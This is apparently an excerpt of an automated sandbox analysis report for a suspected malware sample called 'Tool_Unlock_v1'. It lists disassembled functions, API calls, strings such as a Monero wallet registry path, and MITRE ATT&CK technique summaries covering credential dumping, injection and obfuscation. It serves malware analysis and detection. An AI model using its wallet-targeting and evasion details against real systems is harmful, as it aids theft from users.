Instruction Fuzzy Hash: 61416871D00658CFCB12DF94D884BAEBBB4FB49720F058229E8556B391D774AD44CFA1

Function 00351DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0034C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0034D895,?,00000000,-00000008), ref: 0034C082

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00351E2A
__dosmaperr.LIBCMT ref: 00351E31
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00351E6B
__dosmaperr.LIBCMT ref: 00351E72

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: f2521a490c4162ca7aba801a25332de4dbca08166112ca7971e5f1a81c8bdb51
Instruction ID: 6a7d119b08d46ac0eac3eb574a6ba2cae3a3a49a70a18d7723f60196e3716909
Opcode Fuzzy Hash: f2521a490c4162ca7aba801a25332de4dbca08166112ca7971e5f1a81c8bdb51
Instruction Fuzzy Hash: 6721AF71604615AFDB22AF658882E6BB7EDFF00366B118519FC199B121D771EC04CBE0

Function 00342BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 942cf1e06bd345eec1991a6c6d56cb46b014b5e955da74f694f4aaa0f83b2b99
Instruction ID: 8160939367adabe981b9ce5f0ffe3e719aab0829639901195b71d051a1f8191e
Opcode Fuzzy Hash: 942cf1e06bd345eec1991a6c6d56cb46b014b5e955da74f694f4aaa0f83b2b99
Instruction Fuzzy Hash: A2218B71204615AF9B22AF658CC196B7BEDFF40364B928515F855AF651EB30FC40CBA0

Function 003531BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 003531C6

Part of subcall function 0034C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0034D895,?,00000000,-00000008), ref: 0034C082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003531FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0035321E

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 398b463ab9eac9b69b12e0b33910020a948c61eea4687e044afba282d8317e17
Instruction ID: 60d58aa199742666fe05191bc320e6073d30cce2a83fa36ce58f7f08bdde9bd3
Opcode Fuzzy Hash: 398b463ab9eac9b69b12e0b33910020a948c61eea4687e044afba282d8317e17
Instruction Fuzzy Hash: 9411A1B15019157EE72327B5EC8ACAF6A9CDE853D5B100818FA01D9111FBA4EF0441B1

Function 0033E892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0033E899
std::_Lockit::_Lockit.LIBCPMT ref: 0033E8A3
int.LIBCPMT ref: 0033E8BA

Part of subcall function 0033C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0033C1F6
Part of subcall function 0033C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0033C210

std::_Lockit::~_Lockit.LIBCPMT ref: 0033E914

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 632e9477d9574c7b50c3318a65d9a2a27f02a02752b0b9c46145d2642ed065f5
Instruction ID: dadfa6381b41e221d119ee7a027fa3f8fcb2e77a51bee42412f53d8774f967ea
Opcode Fuzzy Hash: 632e9477d9574c7b50c3318a65d9a2a27f02a02752b0b9c46145d2642ed065f5
Instruction Fuzzy Hash: 0511CE368001199BCB07EBA4C985ABEB7B5AF80710F254119E451AF2D2CF749A40CB81

Function 004025B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004025CA

Strings

SOFTWARE\monero-project\monero-core, xrefs: 004025FB, 0040263A
v-W, xrefs: 00402612
wallet_path, xrefs: 0040261E, 00402635

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: memset
String ID: SOFTWARE\monero-project\monero-core$v-W$wallet_path
API String ID: 2221118986-2977311110
Opcode ID: 8710ad39bdbfbdb3573bc4122d1db8b793f527137aa0711018bcebecd800563c
Instruction ID: 0c18e56fd2baca2148c8c35e4c219371c929cb38e152fc7f4c18086b588d1147
Opcode Fuzzy Hash: 8710ad39bdbfbdb3573bc4122d1db8b793f527137aa0711018bcebecd800563c
Instruction Fuzzy Hash: 5011AC76680340EFD204EBB8DCC6E2A33FCEB55B05B050528F5009B353E168EA808B69

Function 0035ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000), ref: 0035ADB7
GetLastError.KERNEL32(?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000,?,?,?,00353CD6,00000000), ref: 0035ADC3

Part of subcall function 0035AE20: CloseHandle.KERNEL32(FFFFFFFE,0035ADD3,?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000,?,?), ref: 0035AE30

___initconout.LIBCMT ref: 0035ADD3

Part of subcall function 0035ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0035AD91,0035A2DC,?,?,00354390,?,00000000,00000000,?), ref: 0035AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000,?), ref: 0035ADE8

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 50ed9c5d8b3a56a79d50f3a49f24563c9da85c4e5bc3fb4a6a68984f8440f3af
Instruction ID: d31e1da035a615d74169e0f6f3aee49c70052a5bbba3b21d14ca4c7b2903694a
Opcode Fuzzy Hash: 50ed9c5d8b3a56a79d50f3a49f24563c9da85c4e5bc3fb4a6a68984f8440f3af
Instruction Fuzzy Hash: E8F01C36500518BBCF232FD5DC19D9A3F7AFF087A2F018111FE0986130DB728860AB91

Function 003404F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00340507
GetCurrentThreadId.KERNEL32 ref: 00340516
GetCurrentProcessId.KERNEL32 ref: 0034051F
QueryPerformanceCounter.KERNEL32(?), ref: 0034052C

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 24a9e103af19c606c1fad52032f1274b3d056dab5f82f6e5fa04744a55994bff
Instruction ID: 773767aca6289c303dd5e6da4623e0a7db38a172ce66e42670a2e47e937ca244
Opcode Fuzzy Hash: 24a9e103af19c606c1fad52032f1274b3d056dab5f82f6e5fa04744a55994bff
Instruction Fuzzy Hash: 51F05F74D1020DEBCB01DFB4DA4999EBBF8FF1C344B918995E412E6110EA70AA449B50

Function 0034B992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0034B893,?,?,00000000,00000000,00000000,?), ref: 0034B9B7

Strings

RCC, xrefs: 0034B9D1
MOC, xrefs: 0034B9C9

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 97fea3f4c41b57ec4a0a2a25569ffb23fbfde629aeeb381fc63cf7d8ff66bb3c
Instruction ID: bf9a530c820fd247a3ce2148a2123f7cd029fa54df840d9b4dfc3ef0fae81518
Opcode Fuzzy Hash: 97fea3f4c41b57ec4a0a2a25569ffb23fbfde629aeeb381fc63cf7d8ff66bb3c
Instruction Fuzzy Hash: A7412772900209AFCF16DF98C981AAEBBF5FF48304F198159FA14AB212D335E950DB51

Function 0034B1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0034B475

Strings

csm, xrefs: 0034B497
csm, xrefs: 0034B508

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a8b0c1f464c45f53170e4dd79bbc2b9779c1470905b10d062ee88191b8b9c069
Instruction ID: 44e67ac80f938c2ded56d7536d9af99129b8724a306eca6818e008dea67c9c3f
Opcode Fuzzy Hash: a8b0c1f464c45f53170e4dd79bbc2b9779c1470905b10d062ee88191b8b9c069
Instruction Fuzzy Hash: B631C671400215EBCF279F51CC409AAFBE6FF0A315B19469AF8584D232C336ED62DB81

Function 0033B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0033B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0033B8DE

Part of subcall function 0034060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0033F354,00000000,?,?,?,0033F354,00333D4A,0036759C,00333D4A), ref: 0034066D

Part of subcall function 00348353: IsProcessorFeaturePresent.KERNEL32(00000017,0034378B,?,?,?,?,00000000,?,?,?,0033B5AC,0033B4E0,00000000,?,?,0033B4E0), ref: 0034836F

Strings

csm, xrefs: 0033B86D

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 6058069c2d3745e81948a3891799cd4bda6ce38feade3f81d770b02ad26aea31
Instruction ID: ae779f200393ef6b2dc35ea49d0641bfb6a2150ada97a61475e79fdaf22cb58e
Opcode Fuzzy Hash: 6058069c2d3745e81948a3891799cd4bda6ce38feade3f81d770b02ad26aea31
Instruction Fuzzy Hash: 3E219D32D01218EBCF26DF99D885AEEF7B8AF44710F160419E606AF150CB70AD45CB81

Function 0033B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00332673

Strings

bad array new length, xrefs: 00332626
ios_base::badbit set, xrefs: 00332650

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: a33d793c18897d9115d6a0248d95b7c7ff19ea11d06cdfb70aad0bbfacf93adf
Instruction ID: dff525288e6c89251d0b93ad5d917654d0d66fb407d7c62c943245e3fec48fef
Opcode Fuzzy Hash: a33d793c18897d9115d6a0248d95b7c7ff19ea11d06cdfb70aad0bbfacf93adf
Instruction Fuzzy Hash: 8B01BCF1618700ABDB1ADF28D846A1BBBE8EF08318F01881CF9598F351D375E808CB85

Function 00332610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0033F354,00000000,?,?,?,0033F354,00333D4A,0036759C,00333D4A), ref: 0034066D

___std_exception_copy.LIBVCRUNTIME ref: 00332673

Strings

bad array new length, xrefs: 00332626
ios_base::badbit set, xrefs: 00332650

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: acea5a26c3c064e19ee9272973675cf7c29303969f3aeb4d8392cfaccbd4abc8
Instruction ID: 681850c4cf92370e6d4cbaa3cc05a6108491099b907a9632c801cdc200dca496
Opcode Fuzzy Hash: acea5a26c3c064e19ee9272973675cf7c29303969f3aeb4d8392cfaccbd4abc8
Instruction Fuzzy Hash: 1EF058F1A14300ABD711AF18D805B47BBE4EB08319F01881CF9999B310D3B5E448CB92

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

